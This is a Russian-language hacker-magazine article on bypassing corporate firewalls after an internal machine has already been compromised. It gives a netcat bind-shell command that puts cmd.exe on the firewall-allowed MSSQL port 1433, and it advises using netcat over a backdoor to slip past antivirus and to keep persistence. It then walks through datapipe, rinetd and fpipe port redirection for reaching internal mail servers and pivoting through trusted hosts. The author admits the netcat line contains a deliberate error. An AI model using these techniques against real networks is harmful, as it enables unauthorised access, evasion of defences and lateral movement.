Здравствуй, Дорогой читатель!

Как ты знаешь, компьютерные сети различных предприятий и учреждений защищают от вторжения из Интернета с помощью firewall. Firewall позволяет блокировать все пакеты, которые по мнению админа сети не должны попадать во внутреннюю сеть… Конечно же в firewall`ах находят дырки и некоторые личности ими даже успевают воспользоваться. Но все же основная проблема конечно же не в дырявости софта, а в дырявости админа, который не смог грамотно этот firewall настроить…

Теоретически, firewall может «убивать» пакеты, которые пытаются «войти» или «покинуть» внутреннюю сеть. Говорю «теоретически» потому, как гораздо проще вообще отрубить сеть от Инета и тогда никакой firewall нафиг не нужен… Именно поэтому, его используют для выборочной фильтрации траффика. Тут по большому счету два варианта: либо пропускается траффик только на разрешенные порты, либо только из определенных сетей (например из сети филиала данной организации, находящегося в другом городе). Любой из нижеизложенных способов можно использовать и для первого, и для второго варианта, а также для их комбинации (траффик пропускается только на определенные порты и только с определенных адресов).

Внимание! Все ниже приведенные примеры имеют в себе некоторые допущения. Все это делается лишь для того, чтобы показать возможные пути обхода ограничений, накладываемых firewall`ом. К тому же не стоит забывать, что действительность бывает намного ужасней…

Представь, что firewall блокирует все порты, кроме 80 и 1433. Итого: ftpd и MSSQL… Положим также, что некоторый контроль за одной из машин внутри сети у тебя есть
(не суть как ты его получил: через дырявый скрипт или с помощью какой-нибудь проблемы IIS). Наша задача — поиметь shell, для которого у нас есть только 80 и 1433 порты… ОК!
Закачиваем на этот сайтец замечательную утилитку netcat. С помощью нее мы и откроем тебе shell вместо
MSSQL (по причине того, что траффик на порт 1433 разрешен файерволом), для этого нужно выполнить следующую команду:

nc -L -p 1433 -e cmd.exe IP

nc — исполняемый файл netcat

  • -L — p 1433 — приказывает слушать входящие соединения на 1433 порту
  • -e cmd.exe — в ответ на входящее соединение запускать shell (cmd.exe для NT, в *nix было бы что-то вроде
    /bin/bash)

IP — ip-адрес машины; в принципе, можно было бы обойтись и без него, но у нас этот порт уже «занят» и чтобы подавить имеющийся процесс, мы даем netcat больший приоритет (это связано с тем, что MSSQL слушает 1433 порт как бы на «любом» а наш на совершенно определенном ;-))

Только имей в виду, что при таком варианте запуска твой shell провисит только до следующего рестарта, поэтому, получив shell попробуй закрепиться более основательно, хотя… ты знаешь, опыт показывает, что большинство серверов имеют обыкновение перезагружаться о-о-очень редко.

Возможно, многие спросят: «А почему не бэкдор?». — Ну хотя бы потому, что антивирусы еще никто не отменял, а Netcat перед ними кристально чист…

Важное замечание! Порты с номерами ниже 1024 может использовать только root, потому, если ты обделен подобным счастьем, то твоя цель — все порты с номерами выше указанного.

Другая ситуация — firewall пропускает траффик на порты с о-о-очень большими номерами. Кое-какие права внутри сети у нас есть, но мы хотим приходить извне и пользоваться почтовым сервером внутренней сети, хотя при таком раскладе мы можем пользоваться чем угодно ;-). Поможет нам в этой ситуации такая простая операция, как редирект (перенаправление) портов. Редирект можно осуществить с помощью специального софта; принцип его работы в общем виде состоит в следующем: ожидается входящее соединение на определенном порту и как только соединение получено
перенаправляет его на указанный IP:порт (причем IP может быть любым, в том числе и 127.0.0.1). Итак, вот что homo sapiens придумали для редиректа:

Datapipe

Наверное самая известная тулза, урожденная
в  *nix. Вариант, написанный на Си ты с
легкостью подрежешь на сайте packetstormsecurity.nl. И чего бы это я сказал «урожденная
в *nix»? Да потому, что в свою время X не обошел ее своим вниманием, вернее ее не обошел Cutter, который переписал тоже самое на Perl, причем и под *nix, и под Windows. Эту версию ты можешь взять
на нашем сайте. Итак, мы ломимся на почтовый сервер внутренней сети. Для этого на уделенной машине запускаем datapipe следующим образом:

datapipe 65000 25 IP

Эта команда запустит datapipe, который будет «слушать» порт 65000 и перенаправлять соединение на 25 порт (параметр IP определяет ip-адрес «места назначения»).
Итого: ты входишь через порт 65000, который не контролируется firewall`ом, а затем посредством редиректа спокойно работаешь с почтовым сервером на 25 порту…

Rinetd

Создатель данного инструмента определил его как «редирект сервер». Что, в принципе, очень даже верно:
rinetd запускается как единый процесс, способный обслуживать большое количество соединений.
Настройка rinetd осуществляется с помощью config-файла (по умолчанию это /etc/rinetd.conf), который имеет следующую структуру:

ИсходныйАдрес ИсходныйПорт АдресДляСоединения ПортДляСоединения

После правки config-файла rinetd можно запустить командой

rinetd -c config_file

Параметр -с следует указывать в том случае, если местонахождение config-файла отличается от дефолтового
/etc/rinetd.conf. Важное замечание! Rinetd способен редиректить только соединения, которые требуют один сокет (к коим не относится например ftp).

Fpipe

Очень удобный инструмент редиректа для Windows, очень похожий на datapipe. Fpipe можно поднять с
сайта разработчика. Синтаксис программы:

-с — количество одновременных соединений (если опустить, по дефолту идет 32)
-i — адрес, который «слушает» fpipe (если у машины несколько ip)
-l — порт, который «слушает» fpipe
-s — адрес, на который осуществляется редирект
-r — порт, на который осуществляется редирект
-u — UDP вместо TCP

Теперь давай посмотрим, что делать если админ-параноик пускает траффик только с определенных адресов… ясно, что так просто ты туда не войдешь, но ведь обходные пути для того и придуманы! Посмотри на те адреса, с которых пускают — нет ли там слабых мест? Если есть — можешь просто повесить туда редирект и ломиться в ту сеть, которая нужна была тебе изначально.

А вообще-то, редирект имеет просто широчайшие возможности применения: от обхода firewall`ов до получения халявного инета. Но это уже тема для совсем другой статьи…

Внимание! В командной строке Netcat
специально допущена ошибка — считайте это
«Головоломкой для Хакера №5» 🙂

Оставить мнение

Check Also

Что можно сделать с iPhone, зная пасскод. Как сливают данные, уводят iCloud и блокируют остальные устройства

Последние несколько месяцев мы много писали о нововведениях в iOS 11. «Теперь-то заживем!»…